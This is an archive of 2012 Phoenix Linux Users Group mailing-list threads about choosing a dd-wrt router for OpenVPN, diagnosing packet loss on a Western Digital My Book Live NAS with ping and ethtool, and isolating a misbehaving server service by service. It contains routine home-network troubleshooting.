unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
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So do I. Except, when I look here- http://www.smallnetbuilder.com/lanwan/router-charts/price/74-wan-to-lan it looks pretty shabby compared to other routers. The Linksys E4200 looks pretty good, is a little more expensive, but almost twice the WAN-LAN throughput. The only drawbacks I can see are (1) some reviewers say it runs hot, but if I disable the readios that may not be an issue and (2) it seems to be more difficult to reflash with dd-wrt than the 3500L. Choiceschoices Mark On Fri, Jul 6, 2012 at 5:16 PM, Stephen cryptwo...@gmail.com wrote: I still really like that router. On Fri, Jul 6, 2012 at 4:09 PM, Dazed_75 lthiels...@gmail.com wrote: Nope. I followed the link from the earlier message https://www.flashrouters.com/netgear-wnr3500l-ddwrt-router.php and read this on their web site: Note: VPN capabilities are only available to VPN subscribers. We work with OverPlayVPN to make this process simple and easy for beginners. A DD-WRT router may be used to set up a VPN connection from a different provider, but only if they offer support. We currently will only preset the router for OverPlayVPN users. The I followed the link to OverPlayVPN and read about the services and costs. I know dd-wrt will do OpenVPN without a commercial service. I just was concerned you had not noticed that blurb of theirs. On Fri, Jul 6, 2012 at 3:36 PM, Mark Phillips m...@phillipsmarketing.biz wrote: Larry, I queried FlashRouters if they require any vpn or dynamic dns services, or if they modify the dd-wrt firmware in any way, and got this response: VPN and DNS service are not required at all, however it is quite simple to integrate them with DD-WRT routers. We load tested, stable DD-WRT builds onto the device, we do not modify the actual firmware. Have you had a bad experience with FlashRouters? Mark On Fri, Jul 6, 2012 at 12:25 PM, Dazed_75 lthiels...@gmail.com wrote: Be sure to look at the fine print. They are setting that router to work with a specific provider of what I think is dynamic DNS and offer special encryption at fee that can come to about $10/month. On Fri, Jul 6, 2012 at 10:34 AM, Mark Phillips m...@phillipsmarketing.biz wrote: James, It sounds like a fun project! I am very tempted... However, I found this one - https://www.flashrouters.com/netgear-wnr3500l-ddwrt-router.php for $80. It has wireless, but I can just turn it off. A 480 MHz processor, and dd-wrt installed and tested with openvpn. I haven't priced out your parts list, but I would be surprised if it comes to less than $80. Also, I think the netgear router will consume less power and space in my crowded cable closet (aka the top shelf in my cupboard). Answers to your questions - I need a total of 20 gigabit LAN ports for my network. Currently, I have two 8 port gigabit switches, and 4 10/100 ports on my current BEFSX41 router. I want to upgrade the router for open vpn, and gigabit speeds. So the router is also a switch. What is the advantage of running the whole thing virtualized? -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Looking for Router Suggestions
I am looking for a router with the following characteristics: * No wifi * 4 gigabit LAN ports * 1 WAN port to connect to my Cox Cable Modem * 400 MHZ+ processor so I can run OpenVPN SSL for a max of 4 remote users to access the LAN at the same time. The last point comes from reading various forums about running openvpn on the router, and they all say get the fastest possible cpu. I probably have to run dd-wrt on the router to get openvpn running on the router, but I am open to other options (most of the open source router packages support openvpn, so anyone will do). Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Networking Question Regarding Gigbit Ethernet
Kenn, Thanks for the suggestion. The servers do have static IPs, and the box in question got its IP from my DHCP server. I looked for possible IP collision and didn't find any. I also tried giving the box a fixed IP, and no change. Mark On Sun, Jul 1, 2012 at 8:21 PM, Kenn parabell...@yahoo.com wrote: Forgive if this has already been asked/checked ... you mentioned servers, which I assume are on static IP's, is this storage box as well? Could it be using an IP already in use, or the wrong subnet, or grabbing an IP from a range you've reserved? It probably wouldn't work at all if it was, just thought I'd throw it out there. -K --- On *Sun, 7/1/12, Mark Phillips m...@phillipsmarketing.biz* wrote: From: Mark Phillips m...@phillipsmarketing.biz Subject: Networking Question Regarding Gigbit Ethernet To: Phoenix Linux Users plug-discuss@lists.plug.phoenix.az.us Date: Sunday, July 1, 2012, 1:44 PM I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs, and I get the same results. ping results for the MBL from server A: --- 192.168.25.213 ping statistics --- 330 packets transmitted, 152 received, 53% packet loss, time 329555ms rtt min/avg/max/mdev = 0.208/0.273/0.650/0.048 ms --- 192.168.25.213 ping statistics from server B --- 254 packets transmitted, 120 received, 52% packet loss, time 252998ms rtt min/avg/max/mdev = 0.196/0.264/2.499/0.206 ms ping results for server A to B: --- 192.168.25.130 ping statistics --- 340 packets transmitted, 340 received, 0% packet loss, time 338996ms rtt min/avg/max/mdev = 0.080/0.177/0.246/0.030 ms The device says gigabit Ethernet next to the Ethernet port. Is there any reason I can't connect a gigabit Ethernet device to a 100baseT network other than the obvious speed difference? Should I see all this packet loss? This is actually the second unit I have tried - the first one acted the same way, so I took it back. I am now wondering if I am doing something wrong. Thanks! Mark -Inline Attachment Follows- --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Networking Question Regarding Gigbit Ethernet
I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs, and I get the same results. ping results for the MBL from server A: --- 192.168.25.213 ping statistics --- 330 packets transmitted, 152 received, 53% packet loss, time 329555ms rtt min/avg/max/mdev = 0.208/0.273/0.650/0.048 ms --- 192.168.25.213 ping statistics from server B --- 254 packets transmitted, 120 received, 52% packet loss, time 252998ms rtt min/avg/max/mdev = 0.196/0.264/2.499/0.206 ms ping results for server A to B: --- 192.168.25.130 ping statistics --- 340 packets transmitted, 340 received, 0% packet loss, time 338996ms rtt min/avg/max/mdev = 0.080/0.177/0.246/0.030 ms The device says gigabit Ethernet next to the Ethernet port. Is there any reason I can't connect a gigabit Ethernet device to a 100baseT network other than the obvious speed difference? Should I see all this packet loss? This is actually the second unit I have tried - the first one acted the same way, so I took it back. I am now wondering if I am doing something wrong. Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Networking Question Regarding Gigbit Ethernet
How do I use ethtool to answer your question? Mark On Sun, Jul 1, 2012 at 12:52 PM, James Mcphee jmc...@gmail.com wrote: What does ethtool tell you about what the interface thinks it is? On Sun, Jul 1, 2012 at 12:44 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs, and I get the same results. ping results for the MBL from server A: --- 192.168.25.213 ping statistics --- 330 packets transmitted, 152 received, 53% packet loss, time 329555ms rtt min/avg/max/mdev = 0.208/0.273/0.650/0.048 ms --- 192.168.25.213 ping statistics from server B --- 254 packets transmitted, 120 received, 52% packet loss, time 252998ms rtt min/avg/max/mdev = 0.196/0.264/2.499/0.206 ms ping results for server A to B: --- 192.168.25.130 ping statistics --- 340 packets transmitted, 340 received, 0% packet loss, time 338996ms rtt min/avg/max/mdev = 0.080/0.177/0.246/0.030 ms The device says gigabit Ethernet next to the Ethernet port. Is there any reason I can't connect a gigabit Ethernet device to a 100baseT network other than the obvious speed difference? Should I see all this packet loss? This is actually the second unit I have tried - the first one acted the same way, so I took it back. I am now wondering if I am doing something wrong. Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James McPhee jmc...@gmail.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Networking Question Regarding Gigbit Ethernet
So I need to run this on the MLB? Mark On Jul 1, 2012 1:36 PM, James Mcphee jmc...@gmail.com wrote: As such. You need to use whatever eth device you have, of course. jmcphee@locus ~ :) $ sudo ethtool eth2 Settings for eth2: Supported ports: [ TP MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supported pause frame use: No Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Receive-only Advertised auto-negotiation: Yes Link partner advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Link partner advertised pause frame use: Symmetric Link partner advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 0 Transceiver: internal Auto-negotiation: on Supports Wake-on: pumbg Wake-on: g Current message level: 0x0033 (51) drv probe ifdown ifup Link detected: yes On Sun, Jul 1, 2012 at 1:22 PM, Mark Phillips m...@phillipsmarketing.bizwrote: How do I use ethtool to answer your question? Mark On Sun, Jul 1, 2012 at 12:52 PM, James Mcphee jmc...@gmail.com wrote: What does ethtool tell you about what the interface thinks it is? On Sun, Jul 1, 2012 at 12:44 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs, and I get the same results. ping results for the MBL from server A: --- 192.168.25.213 ping statistics --- 330 packets transmitted, 152 received, 53% packet loss, time 329555ms rtt min/avg/max/mdev = 0.208/0.273/0.650/0.048 ms --- 192.168.25.213 ping statistics from server B --- 254 packets transmitted, 120 received, 52% packet loss, time 252998ms rtt min/avg/max/mdev = 0.196/0.264/2.499/0.206 ms ping results for server A to B: --- 192.168.25.130 ping statistics --- 340 packets transmitted, 340 received, 0% packet loss, time 338996ms rtt min/avg/max/mdev = 0.080/0.177/0.246/0.030 ms The device says gigabit Ethernet next to the Ethernet port. Is there any reason I can't connect a gigabit Ethernet device to a 100baseT network other than the obvious speed difference? Should I see all this packet loss? This is actually the second unit I have tried - the first one acted the same way, so I took it back. I am now wondering if I am doing something wrong. Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James McPhee jmc...@gmail.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James McPhee jmc...@gmail.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Networking Question Regarding Gigbit Ethernet
I was able to ssh into the MBL and it has ethtool installed - MyBookLive:~# ethtool eth0 Settings for eth0: Supported ports: [ MII ] Supported link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 1 Transceiver: external Auto-negotiation: on Link detected: yes MyBookLive:~# So, it should work on 100baeT. Any thoughts on why I am loosing so many packets? Mark On Sun, Jul 1, 2012 at 2:09 PM, Mark Phillips m...@phillipsmarketing.bizwrote: So I need to run this on the MLB? Mark On Jul 1, 2012 1:36 PM, James Mcphee jmc...@gmail.com wrote: As such. You need to use whatever eth device you have, of course. jmcphee@locus ~ :) $ sudo ethtool eth2 Settings for eth2: Supported ports: [ TP MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supported pause frame use: No Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Receive-only Advertised auto-negotiation: Yes Link partner advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Link partner advertised pause frame use: Symmetric Link partner advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 0 Transceiver: internal Auto-negotiation: on Supports Wake-on: pumbg Wake-on: g Current message level: 0x0033 (51) drv probe ifdown ifup Link detected: yes On Sun, Jul 1, 2012 at 1:22 PM, Mark Phillips m...@phillipsmarketing.biz wrote: How do I use ethtool to answer your question? Mark On Sun, Jul 1, 2012 at 12:52 PM, James Mcphee jmc...@gmail.com wrote: What does ethtool tell you about what the interface thinks it is? On Sun, Jul 1, 2012 at 12:44 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs, and I get the same results. ping results for the MBL from server A: --- 192.168.25.213 ping statistics --- 330 packets transmitted, 152 received, 53% packet loss, time 329555ms rtt min/avg/max/mdev = 0.208/0.273/0.650/0.048 ms --- 192.168.25.213 ping statistics from server B --- 254 packets transmitted, 120 received, 52% packet loss, time 252998ms rtt min/avg/max/mdev = 0.196/0.264/2.499/0.206 ms ping results for server A to B: --- 192.168.25.130 ping statistics --- 340 packets transmitted, 340 received, 0% packet loss, time 338996ms rtt min/avg/max/mdev = 0.080/0.177/0.246/0.030 ms The device says gigabit Ethernet next to the Ethernet port. Is there any reason I can't connect a gigabit Ethernet device to a 100baseT network other than the obvious speed difference? Should I see all this packet loss? This is actually the second unit I have tried - the first one acted the same way, so I took it back. I am now wondering if I am doing something wrong. Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James McPhee jmc...@gmail.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James McPhee jmc...@gmail.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us
Re: Networking Question Regarding Gigbit Ethernet
There is no network speed setting in the device to limit it to 100baseT. The cable came with the device, and I have tried other cables and ports - no difference. top on the device shows a perl process eating up about 93% of the cpu every now and then. I can't seem to capture it - top - 14:54:16 up 2:47, 2 users, load average: 1.05, 1.11, 1.09 Tasks: 93 total, 1 running, 92 sleeping, 0 stopped, 0 zombie Cpu(s): 0.3%us, 0.7%sy, 0.3%ni, 98.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem:253632k total, 232896k used,20736k free,29184k buffers Swap: 500608k total,30016k used, 470592k free,71808k cached There is a firmware update avaialable, so I will run that and see if anything improves. If not, then back to costco it goes! Mark On Sun, Jul 1, 2012 at 2:44 PM, Mike Bydalek mike.byda...@gmail.com wrote: Like I said, I've seen auto-negotiation sometimes go wonky, even in the cases where ethtool reports correctly. If everything in your network is okay except this device, hard code it to 100/full through the web UI. I would say its your switch, but you tried different ports. How about the cable? Swap with a known good one. Process of elimination here. Regards, Mike On Jul 1, 2012, at 2:39 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I was able to ssh into the MBL and it has ethtool installed - MyBookLive:~# ethtool eth0 Settings for eth0: Supported ports: [ MII ] Supported link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 1 Transceiver: external Auto-negotiation: on Link detected: yes MyBookLive:~# So, it should work on 100baeT. Any thoughts on why I am loosing so many packets? Mark On Sun, Jul 1, 2012 at 2:09 PM, Mark Phillips m...@phillipsmarketing.bizwrote: So I need to run this on the MLB? Mark On Jul 1, 2012 1:36 PM, James Mcphee jmc...@gmail.com wrote: As such. You need to use whatever eth device you have, of course. jmcphee@locus ~ :) $ sudo ethtool eth2 Settings for eth2: Supported ports: [ TP MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supported pause frame use: No Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Receive-only Advertised auto-negotiation: Yes Link partner advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Link partner advertised pause frame use: Symmetric Link partner advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 0 Transceiver: internal Auto-negotiation: on Supports Wake-on: pumbg Wake-on: g Current message level: 0x0033 (51) drv probe ifdown ifup Link detected: yes On Sun, Jul 1, 2012 at 1:22 PM, Mark Phillips m...@phillipsmarketing.biz wrote: How do I use ethtool to answer your question? Mark On Sun, Jul 1, 2012 at 12:52 PM, James Mcphee jmc...@gmail.com wrote: What does ethtool tell you about what the interface thinks it is? On Sun, Jul 1, 2012 at 12:44 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs, and I get the same results. ping results for the MBL from server A: --- 192.168.25.213 ping statistics --- 330 packets transmitted, 152 received, 53% packet loss, time 329555ms rtt min/avg/max/mdev = 0.208/0.273/0.650/0.048 ms --- 192.168.25.213 ping statistics from server B --- 254 packets transmitted, 120 received, 52% packet loss, time 252998ms rtt min/avg/max/mdev = 0.196/0.264/2.499/0.206 ms ping results for server A to B: --- 192.168.25.130 ping statistics --- 340 packets transmitted, 340 received, 0% packet loss, time 338996ms rtt min/avg/max/mdev = 0.080/0.177/0.246/0.030 ms
Re: Networking Question Regarding Gigbit Ethernet
The device is now updating the firmware..and there are no packets lost on pings to the device or pings from the device. Mark On Sun, Jul 1, 2012 at 2:53 PM, Michael Butash mich...@butash.net wrote: Unless you have a managed switch, don't force negotiation, as it'll just cause the switch to run in 10base/half-duplex (lowest common denominator) when there is no negotiation advertised. It's sitting in 100/full already, which is what you want. If you do ifconfig eth0, do you see any errors? Collisions and CRC errors will stack if there is a negotiation problem. Seems like either the switch or phy port on the mybook is wack, but doesn't make a lot of sense you'd lose that much anyways. Try different switch port/cable if there are errors. Have you tried pinging from the mbl itself to the gateway or other hosts? Could be they have some kind of input iptables filter rate-limiting/shaping packets or some such, but unlikely. -mb On 07/01/2012 02:39 PM, Mark Phillips wrote: I was able to ssh into the MBL and it has ethtool installed - MyBookLive:~# ethtool eth0 Settings for eth0: Supported ports: [ MII ] Supported link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 1 Transceiver: external Auto-negotiation: on Link detected: yes MyBookLive:~# So, it should work on 100baeT. Any thoughts on why I am loosing so many packets? Mark On Sun, Jul 1, 2012 at 2:09 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: So I need to run this on the MLB? Mark On Jul 1, 2012 1:36 PM, James Mcphee jmc...@gmail.com mailto:jmc...@gmail.com wrote: As such. You need to use whatever eth device you have, of course. jmcphee@locus ~ :) $ sudo ethtool eth2 Settings for eth2: Supported ports: [ TP MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supported pause frame use: No Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Receive-only Advertised auto-negotiation: Yes Link partner advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Link partner advertised pause frame use: Symmetric Link partner advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 0 Transceiver: internal Auto-negotiation: on Supports Wake-on: pumbg Wake-on: g Current message level: 0x0033 (51) drv probe ifdown ifup Link detected: yes On Sun, Jul 1, 2012 at 1:22 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: How do I use ethtool to answer your question? Mark On Sun, Jul 1, 2012 at 12:52 PM, James Mcphee jmc...@gmail.com mailto:jmc...@gmail.com wrote: What does ethtool tell you about what the interface thinks it is? On Sun, Jul 1, 2012 at 12:44 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere from 50% to 86% packet loss. If I ping any other computer on the network I have 0% packet loss. I have tried moving the device to different physical plugs
Re: Networking Question Regarding Gigbit Ethernet
Well, the update finished, but I am still getting over 50% packet loss when I ping the device. I guess back to costco it goes. Mark On Sun, Jul 1, 2012 at 3:05 PM, Mark Phillips m...@phillipsmarketing.bizwrote: The device is now updating the firmware..and there are no packets lost on pings to the device or pings from the device. Mark On Sun, Jul 1, 2012 at 2:53 PM, Michael Butash mich...@butash.net wrote: Unless you have a managed switch, don't force negotiation, as it'll just cause the switch to run in 10base/half-duplex (lowest common denominator) when there is no negotiation advertised. It's sitting in 100/full already, which is what you want. If you do ifconfig eth0, do you see any errors? Collisions and CRC errors will stack if there is a negotiation problem. Seems like either the switch or phy port on the mybook is wack, but doesn't make a lot of sense you'd lose that much anyways. Try different switch port/cable if there are errors. Have you tried pinging from the mbl itself to the gateway or other hosts? Could be they have some kind of input iptables filter rate-limiting/shaping packets or some such, but unlikely. -mb On 07/01/2012 02:39 PM, Mark Phillips wrote: I was able to ssh into the MBL and it has ethtool installed - MyBookLive:~# ethtool eth0 Settings for eth0: Supported ports: [ MII ] Supported link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Full 100baseT/Full 1000baseT/Full Advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 1 Transceiver: external Auto-negotiation: on Link detected: yes MyBookLive:~# So, it should work on 100baeT. Any thoughts on why I am loosing so many packets? Mark On Sun, Jul 1, 2012 at 2:09 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: So I need to run this on the MLB? Mark On Jul 1, 2012 1:36 PM, James Mcphee jmc...@gmail.com mailto:jmc...@gmail.com wrote: As such. You need to use whatever eth device you have, of course. jmcphee@locus ~ :) $ sudo ethtool eth2 Settings for eth2: Supported ports: [ TP MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supported pause frame use: No Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Receive-only Advertised auto-negotiation: Yes Link partner advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Link partner advertised pause frame use: Symmetric Link partner advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 0 Transceiver: internal Auto-negotiation: on Supports Wake-on: pumbg Wake-on: g Current message level: 0x0033 (51) drv probe ifdown ifup Link detected: yes On Sun, Jul 1, 2012 at 1:22 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: How do I use ethtool to answer your question? Mark On Sun, Jul 1, 2012 at 12:52 PM, James Mcphee jmc...@gmail.com mailto:jmc...@gmail.com wrote: What does ethtool tell you about what the interface thinks it is? On Sun, Jul 1, 2012 at 12:44 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: I have a 100baseT network with several Debian servers, a mac book, and some virtual windows. I just picked up a Western Digital My Book Live (MBL) 2TB NAS at Costco, and powered it up on my network. The unit is just sitting with its green light on, and the web interface is really slow. When I ping the device, it shows somewhere
Re: Strange Server Behavior
The results so far running exim4, cups, apache2, openvpns, and ntp, resutled in 5349 packets transmitted, 5349 received, 0% packet loss, time 53480414ms rtt min/avg/max/mdev = 0.101/0.207/3.027/0.050 ms So the problem is in one of these applications mediatomb mysql nfs-common mfs-kernel-server rpcbind I will set up a test tonight for these bad boys. Mark On Wed, Jun 27, 2012 at 9:58 AM, Mark Phillips m...@phillipsmarketing.bizwrote: Rusty, I am running another test now, with the following services running exim4 cups apache2 openvpnas cups ntp I will keep you posted. Mark On Wed, Jun 27, 2012 at 9:16 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Well, I had to ask J ** ** I’d say its ‘divide and conquer time’ like I suggested earlier – enable half (approx) of the services and run the test. If it passes, turn those off and then turn on the other half, rerun test. If it passes, life gets hard, and I’m going to ignore that possibility for now! Whichever test fails, repeat the above with that reduced set of services. ** ** If both halves pass, then there is some interaction between the services, and it’s not so easy as divide and conquer. (but of course, if a service depends upon another one to be fully functional (apache and mysql are likely examples) then you’ll have to keep those services together till the bitter end (as it were)). ** ** However, there is still hope someone here has another idea… ** ** Rusty ** ** *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Wednesday, June 27, 2012 9:12 AM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior ** ** Rusty, The test was run from 11 PM to 7 AM, so no one in my house was doing anything but sawing logs, as far as I know. Yes, teenagers tend to stay up late, but I would have heard the tv. I don't think any of the other machines are really doing anything at that time as well. I don't think anyone is using my wifiI have a 64 character key for AES and mac address filter for security. Yes, I know one can eaily spoof the mac address thing, but it keeps some out. I also have not seen anything strange in the logs. Rsync is a good idea, but I agree - fragile, lots to set up, but maybe worth a thought if nfs tends to be the problem. Maybe a script to check if a local folder has changed, and then rsync it Mark On Wed, Jun 27, 2012 at 8:59 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Well, NFS server is less likely (I think!) to cause momentary freezes than the client, but samba MIGHT be an idea. Hopefully someone else here has more experience with the server side of things, or maybe google would help. On the upload video thing – if you wanted to go to a lot of work, you could put directories on each computer that periodically get rsync’d (or whatever) to the server, so that the family members only need to copy the movie to the directory on their machine and it will automatically get copied across. But that may be more work and fragility than you want J (and might make you more expendable!). but that could get rid of nfs or samba or any such thing. Probably not worth doing if NFS isn’t’ the issue J, so I’d say turn on half the processes and see what happens, as I mentioned before.. Thinking about the system for a bit – first the schedule of when things freeze. Does it line up with anything being done on the client machines? On the TV? What ‘absolute time’ (wall clock time) were those 38 